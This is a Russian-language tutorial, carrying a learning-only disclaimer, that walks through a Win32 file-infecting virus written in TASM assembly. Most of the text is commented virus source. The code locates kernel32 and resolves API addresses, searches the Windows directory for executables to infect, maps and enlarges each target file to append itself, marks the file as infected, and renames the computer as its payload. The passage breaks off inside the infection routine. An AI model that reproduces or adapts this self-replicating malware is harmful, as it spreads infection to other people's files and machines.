Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны: а) знать основные команды ассемблера б) уметь пользоватся АПИ-функциями в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности). г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки) д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! ) е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь) ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ Вроде всё.
Теперь план обучения: 1) формат заголовка файла РЕ 2) разбор основных полей заголовка РЕ 3) методика заражения 4) дельта-смещение. 5) поиск АПИ 6) разбор используемых АПИ 7) пишем код 8) Reserved
includelib import32.libextrn ExitProcess: nearextrn MessageBoxA: near;нам нужны эти АПИ исключительно в первом поколении
.386;модель проца (вирус будет запускаться на процессорах 80386 и выше)
.modelflat;плоская модель (позволяет использовать до 4гб памяти)
jumps;не прыгаем за пределы
.data; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит
dibilizm_dlya_tupogo_kompilyatora db 0
.codestart:
call delta
; начинаем код с поисков дельты
delta:
sub dwordptr [esp], offset delta
; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес.
; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении
xor edx, edx; в edx - 0 будем использовать при поиске кернела
mov ebp, [esp] ; в ebp - дельту
R_SEH:
mov eax,fs:[edx]
dec edx
search32:
cmp [eax], edxje check32
mov eax, [eax]
jmpshort search32
check32:
mov eax,[eax+4]
xor ax,ax
searchMZ:
cmp wordptr [eax],5A4Dh ; MZ
je IsPe
sub eax, 10000h
jmpshort searchMZ
IsPe:
mov edx,[eax+3ch]
cmp [eax+edx],4550h ; PE
jne Exit
; kernel found
get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch]
xchg eax, ebx; in ebx kernelBase
mov ecx, 3
loop_lodsd:
lodsd
add eax, ebx
push eax
dec cljnz loop_lodsd
lea edi, [ebp+offset GetWindowsDirectoryA_]
main_loop:
str_lenth:
xor eax,eax
mov esi,edi
s4et:
scasb
jnz s4et
mov edx, esi
sub edi, esi
mov esi, [esp+4]
mov ecx, edi; ecx=edi=length(string)
searchAPI:
push esi
mov edi, edx
mov esi, [esi]
push ecx
add esi, ebx
cld
rep cmpsb
pop ecx
pop esijz equal
inc ax
add esi, 4
jmp searchAPI
equal:
shl eax,1
mov ecx, [esp]
add ecx, eax
mov ecx, [ecx]
and ecx, 0ffffh
shl ecx, 2
mov eax, [esp+4*2]
add eax, ecx
mov eax, [eax]
add eax, ebx
mov [edi], eax
cmp wordptr [edi+4], 0B0BAH
je vse_naideno
add edi, 4
jmp main_loop ; это поиск адресов АПИ. Я уже это описал.
vse_naideno:
mov byteptr [ebp+numbofdirs], 1
; кол-во директорий, которые заражаем после текущей
lea edi, [ebp+offset szWindowsDirectory]
push Some_pathes
push edicall [ebp+_GetWindowsDirectoryA]
; находим директорию, где "живёт" винда
FindFirsttttt:
lea eax, [ebp+offset WFD32]
push eax
lea eax, [ebp+offset FN4Search]
push eaxcall [ebp+_FindFirstFileA]
; ищем первый файл в текущей директории
inc eaxjz nextdir
dec eax; в случае провала у нас в еах -1 прибавляем 1 получаем 0.
; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём
; поиски в след. директории (в этом вирусе - в директории винды)
; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...
mov [ebp+offset hFF], eax; и сохраняем его в переменной
mov ecx, 5 ; кол-во файлов для заражения
push dwordptr [ebp+EIPs]
; это одно из "шатких" мест кода. дело в том, что точка входа определяется
; при заражении файла и записывается в файл в соответствующую переменную.
; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить,
; что и делается при заражении файла, но это портит то значение, которое было
; таким же образом забито в этом поколении. Поэтому мы должны его сохранить,
; чтоб потом можно было его заюзать при передаче управления носителю
modifyIt:
push ecx; в есх у нас счётчик. Так как мы будем работать с этим регистром,
; то будем его сохранять в начале цикла и восстанавливать в конце
jmp infection
; "прыгаем" на процедуру заражения
infection_done:
; сюда попадаем после заражения найденного файла
PLZNext:
lea eax, [ebp+offset WFD32]
push eax
push dwordptr [ebp+offset hFF]
call [ebp+_FindNextFileA]
pop ecx; восстанавливаем счётчик
test eax, eaxjz nextdir
; если не находим ещё файл пробуем искать в директории винды
dec cxjnz modifyIt
; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл.
; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit
; 1) ищем первый файл
; 2) не нашли - шаг 6
; 3) заражаем
; 4) ищем следующий
; 5) нашли - шаг 3
; 6) след. директория
; 7) если есть директория - шаг 1
; 8) выход
Exit:
pop dwordptr [ebp+EIPs]
; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов
call killfind
; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря
lea edi, [ebp+offset NewComp]
push edicall [ebp+_SetComputerNameA]
; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)
test ebp,ebpjz first_gen
; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим,
; а во втором надо возвратитьуправление носителю
mov eax, 0666B0BAH
org$-4
EIPs dd 00401000h
jmpeax; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод
; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте,
; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать
; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки
; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax,
; который совершает прыжок на адрес, который лежит в еах
infection:
; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл
lea eax, [ebp+offset FName]
push dwordptr FAttrNorm
push eaxcall [ebp + _SetFileAttributesA]
; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)
xor eax, eax
push eax; handle to file
push eax; flags and attributes
push 00000003h ; how to create(OPEN_EXISTING)
push eax; security attr
push 00000003h ; share mode
push 0c0000000h ; access mode
lea eax, [ebp+offset FName]
push eax; pointer to file name
call [ebp+_CreateFileA]
; открываем файл, если онсуществует
mov dwordptr [ebp+hFO], eax; сохраняем хендл в переменной
inc eax; если в регистре -1, то ...
jz infection_done
; ... ищем следующий файл (заражение этого провалилось)
mov ecx, [ebp+FSizeL]
; FSizeL - младшее слово длины файла (берём из WFD)
xor ebx, ebx; обнуляем ebx. это нам нужно для работы кода
; ecx - low size
crFM:
mov eax, [ebp+hFO]
xor edx, edx; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0)
push edx; name of object
push ecx; low size
push edx; high size
push PAGE_READWRITE ; protect
push edx; security attr
push eax; handle to file to map
call [ebp+_CreateFileMappingA] ; создаём мэппинг
test eax, eaxjz close_file ; в случае неудачи закрываем файл
mov [ebp+hFM], eax; в случае успеха сохраняем хендл
xor edx,edx
MVF:
push edx; number bytes to map
push edx; offs low
push edx; offs high
push SRW ; access mode
push eax; handle by crFM
call [ebp+_MapViewOfFile] ; мэппируем файл в память
test eax, eaxjz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл
mov [ebp+pFM], eax; в случае успеха сохраняем хендл в переменную
test ebx, ebxjnz dali_bude
; итак, пришло время рассказать о великом значении регистра ebx в нашем коде.
; он работает как флаг. когда его значение 0 - выполняется следующие проверки,
; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем
; следующий. если же там другое значение, то мы перескакиваем проверки, а также
; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг
; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)
add eax,[eax+3Ch]
; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch
; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить
; это число к еах, чтоб получить адрес заголовка
cmp wordptr [eax], 'EP'; сравниваем сигнатуру
jne UVF
; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)
cmp dwordptr [eax+44h], 'CPM ';это метка зараженности.
je UVF
; если заражен файл, то его не трогаем, зачем его дважды заражать
; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )
mov ecx, dwordptr [eax+3ch]
; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания
; всего, что можно выровнять.
mov [ebp+file_align], ecx; чтоб его не потерять, фигачим его в переменную
inc ebx; делаем ebx != 0
jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1
step1:
mov eax, vir_size ; в еах длина вируса
call aligning ; выравниваем
al_done:
mov ecx, [ebp+FSizeL] ; в есх длину файла
add ecx, eax; прибавляем выровненную длину выря
jmp crFM
; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх).
; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс
; на 800h байт (выровненная длина вируса)
dali_bude:
push eax; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится)
add eax,[eax+3ch] ; теперь найдем заголовок
push eax; его адрес тоже в стек (удобная это штука)
movzx ecx, wordptr [eax+6]
; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6)
jmp last_sec_find
; прыгаем на процедуру поиска последней секции